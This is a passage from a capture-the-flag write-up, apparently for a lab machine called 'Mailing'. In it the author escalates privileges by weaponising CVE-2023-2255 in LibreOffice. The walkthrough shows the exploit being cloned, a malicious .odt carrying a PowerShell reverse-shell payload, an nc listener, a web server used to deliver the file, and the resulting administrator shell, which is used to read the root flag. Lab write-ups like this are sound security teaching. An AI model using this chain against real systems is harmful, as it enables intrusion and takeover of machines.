Looking for vulnerabilities here affecting this version, I saw CVE-2023-2255, which allows loading an external resource without consent:
There is an exploit here that allows crafting a malicious odt with command execution:
I will clone it and generate an odt that gives me a reverse shell generated with revshells.com:
❯ git clone https://github.com/elweth-sec/CVE-2023-2255
Cloning into 'CVE-2023-2255'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 2), reused 5 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (10/10), 8.47 KiB | 8.47 MiB/s, done.
Resolving deltas: 100% (2/2), done.
❯ cd CVE-2023-2255
❯ python3 CVE-2023-2255.py --cmd 'powershell -e <base64 encoded powershell>' --output important-document.odt
File important-document.odt has been created !
Now I will start a nc listener on the port I specified and transfer the document to the machine for in case somebody opens it, receive the shell:
Attacker commands:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Victim command to transfer the file from my web server:
*Evil-WinRM* PS C:\Important Documents> curl.exe http://10.10.14.106/important-document.odt -o important-document.odt
And I receive shell as localadmin which belongs to the “Administradores” group (Administrators in spanish):
connect to [10.10.14.106] from (UNKNOWN) [10.10.11.14] 58067
PS C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
PS C:\Program Files\LibreOffice\program> net user localadmin
User name localadmin
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2024-02-27 9:38:45 PM
Password expires Never
Password changeable 2024-02-27 9:38:45 PM
Password required No
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2024-09-04 10:37:33 AM
Logon hours allowed All
Local Group Memberships *Administradores
Global Group memberships *Ninguno
The command completed successfully.
And the root flag is available in localadmin’s desktop:
PS C:\Program Files\LibreOffice\program> cd C:\Users
PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2024-02-28 8:50 PM .NET v2.0
d----- 2024-02-28 8:50 PM .NET v2.0 Classic
d----- 2024-02-28 8:50 PM .NET v4.5
d----- 2024-02-28 8:50 PM .NET v4.5 Classic
d----- 2024-02-28 8:50 PM Classic .NET AppPool
d----- 2024-03-09 1:52 PM DefaultAppPool
d----- 2024-03-04 8:32 PM localadmin
d----- 2024-02-28 7:34 PM maya
d-r--- 2024-03-10 4:56 PM Public
PS C:\Users> cd localadmin
PS C:\Users\localadmin> cd Desktop
PS C:\Users\localadmin\Desktop> type root.txt
83****************************32
That’s the machine of today. Hope you liked it!